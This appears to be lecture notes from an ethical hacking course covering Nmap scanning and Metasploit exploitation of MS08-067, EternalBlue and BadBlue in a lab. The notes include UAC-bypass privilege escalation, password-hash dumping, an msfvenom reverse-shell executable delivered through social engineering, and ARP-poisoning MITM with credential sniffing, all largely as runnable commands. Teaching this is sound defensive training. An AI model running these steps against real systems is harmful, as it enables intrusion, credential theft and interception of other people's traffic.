

# Week 5

## Introduction

In the dynamic and often perilous landscape of cybersecurity, understanding the methodologies and tools employed by malicious actors is not merely an academic exercise; it is a critical imperative for anyone aspiring to defend digital assets. This week's lessons dive deep into the practical application of offensive security techniques, providing a hands-on exploration of how vulnerabilities are discovered, exploited, and leveraged to gain unauthorized access to target systems. By stepping into the shoes of an ethical hacker, students will gain invaluable insights into the attacker's mindset, a perspective essential for building resilient and secure environments.

The journey begins with foundational reconnaissance using powerful network scanning tools like Nmap, progressing through the sophisticated exploitation capabilities of the Metasploit Framework. We will witness the step-by-step process of compromising various systems, from initial access to privilege escalation and post-exploitation activities. Furthermore, the curriculum extends beyond purely technical vulnerabilities to explore the human element through social engineering attacks and the deceptive nature of Man-in-the-Middle (MITM) attacks. This comprehensive approach equips future security professionals with the practical skills needed to identify, understand, and mitigate a wide spectrum of security risks across diverse operating systems.

## Core Concepts

| Term          | Definition                                                                                                           | Significance                                                                                                                   |
|---------------|----------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------|
| Vulnerability | A weakness in a computer system, software, or hardware that an attacker can exploit to perform unauthorized actions. | It is the fundamental entry point for an attacker, ranging from simple misconfigurations to complex code flaws.                |
| Exploit       | A piece of code, data, or sequence of commands designed to take advantage of a specific vulnerability.               | Exploits are the mechanisms used to trigger unintended behavior, such as gaining unauthorized access or escalating privileges. |

| Term                        | Definition                                                                                                                      | Significance                                                                                                                                        |
|-----------------------------|---------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Metasploit Framework</b> | An open-source penetration testing platform that helps find, verify, and exploit vulnerabilities.                               | It is a comprehensive tool for security professionals to conduct security assessments and manage exploit development.                               |
| <b>Nmap</b>                 | A powerful network scanner used for host discovery, port scanning, service detection, and OS identification.                    | Essential for initial reconnaissance, providing a detailed map of a target network's live hosts, open ports, and running services.                  |
| <b>Meterpreter</b>          | An advanced, dynamic payload that provides an interactive shell and extensive post-exploitation capabilities within Metasploit. | It offers a powerful interface for interacting with the compromised system, allowing for various actions like file manipulation and screen capture. |
| <b>Privilege Escalation</b> | The act of exploiting a bug or configuration oversight to gain elevated access to resources normally protected from a user.     | A necessary step when initial access provides limited user privileges, allowing an attacker to gain administrative or system-level control.         |
| <b>Social Engineering</b>   | A range of malicious activities that exploit human psychology and interaction to trick individuals into security mistakes.      | It is a primary attack vector, often bypassing technical security measures by manipulating human behavior.                                          |
| <b>ARP Poisoning</b>        | An attack where malicious ARP packets are sent to associate the attacker's MAC address with the IP address of another device.   | Redirects network traffic through the attacker's machine, enabling Man-in-the-Middle attacks and data interception.                                 |

| Term                                   | Definition                                                                                                    | Significance                                                                                                                         |
|----------------------------------------|---------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------|
| <b>Man-in-the-Middle (MITM) Attack</b> | An active attack where an attacker secretly relays and possibly alters the communication between two parties. | Allows an attacker to control communication, capture data packets, and potentially impersonate either party without their knowledge. |

## Detailed Analysis

This week's lessons provide a comprehensive, hands-on journey through various offensive security techniques, starting from initial reconnaissance and culminating in advanced exploitation and post-exploitation activities.

### 1. Vulnerability Scanning and Exploitation with Nmap and Metasploit (Lecture 21 : Vulnerability Scanning using NMAP)

The initial phase of any penetration test involves gathering information about the target. **Lecture 21 : Vulnerability Scanning using NMAP** introduces Nmap as an indispensable tool for this purpose.

\* **Live Host Discovery:** Identifying active devices on a network.

```
nmap -T4 -sP 10.35.1.0/24
```

- **Port Scanning:** Discovering open ports on a target to identify running services.

```
nmap -T4 -p0-1000 10.35.1.150
```

- **Service and Version Detection:** Using the `-sV` option to identify service names and versions, crucial for finding known vulnerabilities.

```
nmap -T4 -sV 10.35.1.150
```

- **Operating System Detection:** The `-O` option helps identify the target's OS, aiding in exploit selection.

```
nmap -T4 -O 10.35.1.150
```

- **Vulnerability Scanning with Nmap Scripts:** Nmap can run scripts to detect specific vulnerabilities, such as `smb-vuln-ms08-067` .

```
nmap -T4 --script vuln 10.35.1.150
```

Once a vulnerability like `smb-vuln-ms08-067` is identified, the Metasploit Framework is used for exploitation.

- \* **Launching Metasploit:** `msfconsole` starts the framework.
- \* **Searching for Exploits:** The `search` command helps find relevant exploits (e.g., `search ms08-067` ).
- \* **Selecting and Configuring Exploit:** Using `use exploit/windows/smb/ms08_067_netapi` , setting `RHOST` (target IP) and `RPORT` (target port, typically 445).

```
set RHOST 10.35.1.150
```

- **Executing Exploit:** The `exploit` command initiates the attack, leading to a Meterpreter session on successful compromise.
- **Post-Exploitation with Meterpreter:** Commands like `sysinfo` provide system details, and `help` lists extensive post-exploitation capabilities (e.g., `download` , `screenshot` ).

## 2. Exploiting MS17-010 (EternalBlue) and Basic Post-Exploitation (Lecture 22 : Security Scanning and Proxy Preparation)

Building on the previous lesson, **Lecture 22 : Security Scanning and Proxy Preparation** demonstrates exploiting the critical MS17-010 vulnerability, famously known as EternalBlue.

- \* **Initial Vulnerability Scanning:** Nmap with the `vuln` script is used to identify `smb-vuln-MS17-010` on the target ( `10.35.1.155` ).

```
nmap -T4 --script vuln 10.35.1.155
```

The scan reveals open ports like 135, 139, and 445, and flags the MS17-010 vulnerability.

- \* **Metasploit Exploitation:**
- \* Launch `msfconsole` .
- \* Search for the exploit: `search MS17-010` .

- \* Select `exploit/windows/smb/ms17_010_eternalblue` .
- \* Set `RHOST` to the target IP ( `10.35.1.155` ).

```
set RHOST 10.35.1.155
```

- Execute the exploit using `exploit` or `run` .
- **Gaining a Shell:** A successful exploit grants a command-line shell on the victim machine.
- **Basic Post-Exploitation:** Interacting with the file system using commands like `dir` , `mkdir` , and `rmdir` to demonstrate control.

```
dir
mkdir hack
rmdir hack
```

### 3. System Hacking and Privilege Escalation (Lecture 23 : System Hacking)

**Lecture 23 : System Hacking** focuses on exploiting an application vulnerability and then escalating privileges to gain full control.

- \* **Reconnaissance:** Nmap is used to find open ports and identify service versions.

```
nmap -T4 -P 1-1000 10.35.1.199
nmap -T4 -sV 10.35.1.199
```

This identifies `BadBlue httpd 2.7` running on port 80, a known vulnerable application.

- \* **Exploitation with Metasploit:**

- \* Search for `badblue` exploits in `msfconsole` .
- \* Select `exploit/windows/http/badblue_passthru` .
- \* Set `RHOST` to the target IP ( `10.35.1.199` ).

```
set RHOST 10.35.1.199
```

- Execute the exploit to get an initial Meterpreter session.
- **Initial Access and Limitations:** `sysinfo` confirms the OS (Windows 7). An attempt to `hashdump` fails due to insufficient privileges, highlighting the need for escalation.
- **Process Migration:** To stabilize the Meterpreter session, it's migrated to a more legitimate process (e.g., `iexplore.exe` ).

```
ps
migrate 2176
```

The session is then backgrounded ( `background` ).

\* **Privilege Escalation:**

- \* Search for `bypassuac` exploits in Metasploit.
- \* Use an exploit like `exploit/windows/local/bypassuac_injection` .
- \* Set the `SESSION` option to the backgrounded Meterpreter session ID.

```
set SESSION 2
```

- Execute the exploit to gain a new Meterpreter session with elevated privileges.
- Use `getsystem` within the new session to achieve `NT AUTHORITY\SYSTEM` privileges.

```
getsystem
```

- **Dumping Hashes:** With `SYSTEM` privileges, `hashdump` successfully extracts password hashes from the SAM database.

```
hashdump
```

#### 4. Social Engineering and Malware Delivery (Lecture 24 : Malware, Trojans, Virus and Worms)

**Lecture 24 : Malware, Trojans, Virus and Worms** shifts focus to social engineering, demonstrating how human interaction can be exploited to deliver malware.

\* **Social Engineering Concept:** Exploiting human psychology (kindness, greed, curiosity) to trick users into making security errors or divulging sensitive information.

\* **Crafting Malicious Executable with MSFVenom:**

- \* Generate a `windows/meterpreter/reverse_tcp` payload as an executable ( `.exe` ).
- \* Configure `LHOST` (attacker's IP, e.g., `10.35.1.198` ) and `LPORT` (listening port, e.g., `443` ).

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.35.1.198 LPORT=443 -f exe -o /root
```

- **Setting Up Attacker's Listener:**

- Launch `msfconsole` .
- Use `exploit/multi/handler` .
- Set `payload windows/meterpreter/reverse_tcp` .
- Set `LHOST` and `LPORT` to match the payload configuration.

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.35.1.198
set LPORT 443
exploit
```

- **Execution and Control:** The victim is socially engineered to execute `flash8.exe` . The Metasploit handler catches the connection, establishing a Meterpreter session.
- **Post-Exploitation:** `sysinfo` confirms access, and the `shell` command allows command-line interaction (e.g., `mkdir kali` , `rmdir kali` ).

## 5. Man-in-the-Middle Attacks and Sniffing (Lecture 25 : Miscellaneous Attacks)

**Lecture 25 : Miscellaneous Attacks** explores Man-in-the-Middle (MITM) attacks, specifically using ARP poisoning and network sniffing.

\* **ARP and ARP Poisoning:** ARP maps IP to MAC addresses. ARP poisoning exploits its stateless nature by sending forged ARP messages to redirect traffic through the attacker.

\* **MITM Mechanics:** The attacker positions themselves between two communicating parties (victim and gateway), intercepting and relaying traffic.

\* **Setup:** Attacker ( `10.35.1.198` ), Victim ( `10.35.1.199` ), Gateway ( `10.35.1.2` ).

\* **Enabling Port Forwarding:** Essential for the attacker to relay intercepted traffic to its intended destination.

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

- **Executing ARP Poisoning with `arp spoof` :**
- To poison victim's ARP table (attacker is gateway):

```
arp spoof -t 10.35.1.199 10.35.1.2
```

- To poison gateway's ARP table (attacker is victim):

```
arp spoof -t 10.35.1.2 10.35.1.199
```

- **Network Sniffing:** Monitoring and capturing data packets. Promiscuous mode allows NICs to capture all traffic. Active sniffing (like ARP poisoning) is needed in switch-based networks.
- **Capturing Data with Wireshark:** Once ARP poisoning is active, Wireshark is used to capture and analyze intercepted traffic. By filtering for `http` and following TCP streams, sensitive information like login credentials from unencrypted web traffic can be revealed.

## Key Takeaways

- [ ] Nmap is crucial for comprehensive network reconnaissance, including host discovery, port scanning, service/OS detection, and vulnerability identification.
- [ ] The Metasploit Framework is a powerful platform for searching, configuring, and executing exploits against identified vulnerabilities.
- [ ] A Meterpreter session provides extensive post-exploitation capabilities, allowing deep interaction with a compromised system.
- [ ] Privilege escalation techniques (e.g., `bypassuac` , `getsystem` ) are often necessary to gain full administrative control after initial access.
- [ ] Social engineering exploits human psychology and is a potent attack vector for delivering malicious payloads.
- [ ] `MSFVenom` is used to craft custom malicious executables, and Metasploit's `multi/handler` sets up a listener for incoming connections.
- [ ] ARP poisoning is a key technique for Man-in-the-Middle attacks, redirecting network traffic through an attacker's machine.
- [ ] Enabling IP forwarding and using tools like `arp spoof` are essential steps in performing an MITM attack.
- [ ] Network sniffing with tools like Wireshark can capture sensitive data, especially from unencrypted protocols, during an MITM attack.
- [ ] Understanding attacker methodologies is vital for developing effective defensive strategies, including patching, user awareness, and encryption.

## **Conclusion**

This week's intensive exploration into the world of offensive security has provided a foundational understanding of how systems can be compromised, from the initial reconnaissance phase to the ultimate goal of gaining full control and extracting sensitive data. By dissecting the mechanics of vulnerability scanning with Nmap, the precision of exploitation with Metasploit, the necessity of privilege escalation, the deceptive art of social engineering, and the stealth of Man-in-the-Middle attacks, students have gained a holistic view of the attacker's arsenal. This practical knowledge is not intended to foster malicious intent but rather to cultivate a profound appreciation for the complexities of cybersecurity.

The ability to think like an adversary is the cornerstone of effective defense. Recognizing the entry points, the tools, and the human factors that attackers exploit empowers security professionals to design more robust systems, implement proactive patching strategies, educate users against social engineering tactics, and deploy encryption to thwart interception. As the digital landscape continues to evolve, the lessons learned this week—emphasizing vigilance, continuous learning, and a deep understanding of both technical and human vulnerabilities—will serve as an indispensable guide in the ongoing battle to secure our interconnected world.